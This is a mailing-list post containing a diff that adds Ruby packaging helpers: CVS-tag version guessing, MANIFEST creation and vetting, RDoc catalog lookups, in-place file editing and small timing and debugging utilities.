+	### Using the CVS log for the given <tt>file</tt> attempt to guess what the
+	### next release version might be. This only works if releases are tagged
+	### with tags like 'RELEASE_x_y'.
+	def extractNextVersionFromTags( file )
+		message "Attempting to extract next release version from CVS tags for #{file}...\n"
+		raise RuntimeError, "No such file '#{file}'" unless File.exists?( file )
+		cvsPath = findProgram( 'cvs' ) or
+			raise RuntimeError, "Cannot find the 'cvs' program. Aborting."
+
+		output = %x{#{cvsPath} log #{file}}
+		release = [ 0, 0 ]
+		output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match|
+			if $1.to_i > release[0] || $2.to_i > release[1]
+				release = [ $1.to_i, $2.to_i ]
+				replaceMessage( "Found %d.%02d...\n" % release )
+			end
+		}
+
+		if release[1] >= 99
+			release[0] += 1
+			release[1] = 1
+		else
+			release[1] += 1
+		end
+
+		return "%d.%02d" % release
+	end
+
+
+	### Write a new manifest file with the given +named+, moving any current one
+	### aside with an ".old" suffix if +backup+ is true.
+	def makeManifest( name="MANIFEST", backup=true )
+		message "Making manifest file '#{name}'"
+
+		# Move an old one aside if a backup is desired
+		if backup and File::exists?( name )
+			File::rename( name, name + ".old" )
+		end
+
+		File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh|
+			Find::find( "." ) do |file|
+				Find.prune if AMRegexp =~ file
+				Find.prune if %r{/\.} =~ file
+				Find.prune if /TEMPLATE/ =~ file
+				next if File::directory?( file )
+
+				ofh.puts file
+			end
+		}
+	end
+
+
+	### Read the specified <tt>manifestFile</tt>, which is a text file
+	### describing which files to package up for a distribution. The manifest
+	### should consist of one or more lines, each containing one filename or
+	### shell glob pattern.
+	def readManifest( manifestFile="MANIFEST" )
+		message "Reading manifest..."
+		raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile
+
+		manifest = IO::readlines( manifestFile ).collect {|line|
+			line.chomp
+		}.select {|line|
+			line !~ /^(\s*(#.*)?)?$/
+		}
+
+		filelist = []
+		for pat in manifest
+			$stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE
+			filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)}
+		end
+
+		message "found #{filelist.length} files.\n"
+		return filelist
+	end
+
+
+	### Given a <tt>filelist</tt> like that returned by #readManifest, remove
+	### the entries therein which match the Regexp objects in the given
+	### <tt>antimanifest</tt> and return the resultant Array.
+	def vetManifest( filelist, antimanifest=ANITMANIFEST )
+		origLength = filelist.length
+		message "Vetting manifest..."
+
+		for regex in antimanifest
+			if $VERBOSE
+				message "\n\tPattern /#{regex.source}/ removed: " +
+					filelist.find_all {|file| regex.match(file)}.join(', ')
+			end
+			filelist.delete_if {|file| regex.match(file)}
+		end
+
+		message "removed #{origLength - filelist.length} files from the list.\n"
+		return filelist
+	end
+
+	### Combine a call to #readManifest with one to #vetManifest.
+	def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST )
+		vetManifest( readManifest(manifestFile), antimanifest )
+	end
+
+	### Given a documentation <tt>catalogFile</tt>, extract the title, if
+	### available, and return it. Otherwise generate a title from the name of
+	### the CVS module.
+	def findRdocTitle( catalogFile="docs/CATALOG" )
+
+		# Try extracting it from the CATALOG file from a line that looks like:
+		# Title: Foo Bar Module
+		title = findCatalogKeyword( 'title', catalogFile )
+
+		# If that doesn't work for some reason, try grabbing the name of the CVS
+		# repository the directory belongs to.
+		if title.nil? && File::directory?( "CVS" ) &&
+				File::exists?( "CVS/Repository" )
+			title = File::read( "CVS/Repository" ).chomp
+		end
+
+		# As a last resort, use the name of the project directory
+		if title.nil?
+			distdir = File::dirname( __FILE__ )
+			distdir = File::dirname( distdir ) if /docs$/ =~ distdir
+			title = File::basename( distdir )
+		end
+
+		return title
+	end
+
+	### Given a documentation <tt>catalogFile</tt>, extract the name of the file
+	### to use as the initally displayed page. If extraction fails, the
+	### +default+ will be used if it exists. Returns +nil+ if there is no main
+	### file to be found.
+	def findRdocMain( catalogFile="docs/CATALOG", default="README" )
+
+		# Try extracting it from the CATALOG file from a line that looks like:
+		# Main: Foo Bar Module
+		main = findCatalogKeyword( 'main', catalogFile )
+
+		# Try to make some educated guesses if that doesn't work
+		if main.nil?
+			basedir = File::dirname( __FILE__ )
+			basedir = File::dirname( basedir ) if /docs$/ =~ basedir
+			
+			if File::exists?( File::join(basedir, default) )
+				main = default
+			end
+		end
+
+		return main
+	end
+
+
+	### Given a documentation <tt>catalogFile</tt>, extract an upload URL for
+	### RDoc.
+	def findRdocUpload( catalogFile="docs/CATALOG" )
+		findCatalogKeyword( 'upload', catalogFile )
+	end
+
+
+	### Given a documentation <tt>catalogFile</tt>, extract a CVS web frontend
+	### URL for RDoc.
+	def findRdocCvsURL( catalogFile="docs/CATALOG" )
+		findCatalogKeyword( 'webcvs', catalogFile )
+	end
+
+
+	### Given a documentation <tt>catalogFile</tt>, try extracting the given
+	### +keyword+'s value from it. Keywords are lines that look like:
+	###   # <keyword>: <value>
+	### Returns +nil+ if the catalog file was unreadable or didn't contain the
+	### specified +keyword+.
+	def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" )
+		val = nil
+
+		if File::exists? catalogFile
+			message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile
+			File::foreach( catalogFile ) {|line|
+				debugMsg( "Examining line #{line.inspect}..." )
+				val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line
+			}
+		end
+
+		return val
+	end
+
+
+	### Given a documentation <tt>catalogFile</tt>, which is in the same format
+	### as that described by #readManifest, read and expand it, and then return
+	### a list of those files which appear to have RDoc documentation in
+	### them. If <tt>catalogFile</tt> is nil or does not exist, the MANIFEST
+	### file is used instead.
+	def findRdocableFiles( catalogFile="docs/CATALOG" )
+		startlist = []
+		if File.exists? catalogFile
+			message "Using CATALOG file (%s).\n" % catalogFile
+			startlist = getVettedManifest( catalogFile )
+		else
+			message "Using default MANIFEST\n"
+			startlist = getVettedManifest()
+		end
+
+		message "Looking for RDoc comments in:\n" if $VERBOSE
+		startlist.select {|fn|
+			message "  #{fn}: " if $VERBOSE
+			found = false
+			File::open( fn, "r" ) {|fh|
+				fh.each {|line|
+					if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*}
+						found = true
+						break
+					end
+				}
+			}
+
+			message( (found ? "yes" : "no") + "\n" ) if $VERBOSE
+			found
+		}
+	end
+
+	### Open a file and filter each of its lines through the given block a
+	### <tt>line</tt> at a time. The return value of the block is used as the
+	### new line, or omitted if the block returns <tt>nil</tt> or
+	### <tt>false</tt>.
+	def editInPlace( file ) # :yields: line
+		raise "No block specified for editing operation" unless block_given?
+
+		tempName = "#{file}.#{$$}"
+		File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile|
+			File::unlink( tempName )
+			File::open( file, File::RDONLY ) {|fh|
+				fh.each {|line|
+					newline = yield( line ) or next
+					tempfile.print( newline )
+				}
+			}
+
+			tempfile.seek(0)
+
+			File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile|
+				newfile.print( tempfile.read )
+			}
+		}
+	end
+
+	### Execute the specified shell <tt>command</tt>, read the results, and
+	### return them. Like a %x{} that returns an Array instead of a String.
+	def shellCommand( *command )
+		raise "Empty command" if command.empty?
+
+		cmdpipe = IO::popen( command.join(' '), 'r' )
+		return cmdpipe.readlines
+	end
+
+	### Execute a block with $VERBOSE set to +false+, restoring it to its
+	### previous value before returning.
+	def verboseOff
+		raise LocalJumpError, "No block given" unless block_given?
+
+		thrcrit = Thread.critical
+		oldverbose = $VERBOSE
+		begin
+			Thread.critical = true
+			$VERBOSE = false
+			yield
+		ensure
+			$VERBOSE = oldverbose
+			Thread.critical = false
+		end
+	end
+
+
+	### Try the specified code block, printing the given 
+	def try( msg, bind=nil )
+		result = nil
+		if msg =~ /^to\s/
+			message = "Trying #{msg}..."
+		else
+			message = msg
+		end
+			
+		begin
+			rval = nil
+			if block_given?
+				rval = yield
+			else
+				file, line = caller(1)[0].split(/:/,2)
+				rval = eval( msg, bind, file, line.to_i )
+			end
+
+			result = rval.inspect
+		rescue Exception => err
+			if err.backtrace
+				nicetrace = err.backtrace.delete_if {|frame|
+					/in `(try|eval)'/ =~ frame
+				}.join("\n\t")
+			else
+				nicetrace = "Exception had no backtrace"
+			end
+
+			result = err.message + "\n\t" + nicetrace
+		ensure
+			puts result
+		end
+	end
+
+	def time
+		start = Time::now
+		stimes = Process::times
+		rval = yield
+		etimes = Process::times
+		$stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [
+			etimes.utime - stimes.utime,
+			etimes.stime - stimes.stime,
+			Time::now.to_f - start.to_f,
+		]
+
+		return rval
+	end
+
+end




More information about the pkg-ruby-extras-maintainers mailing list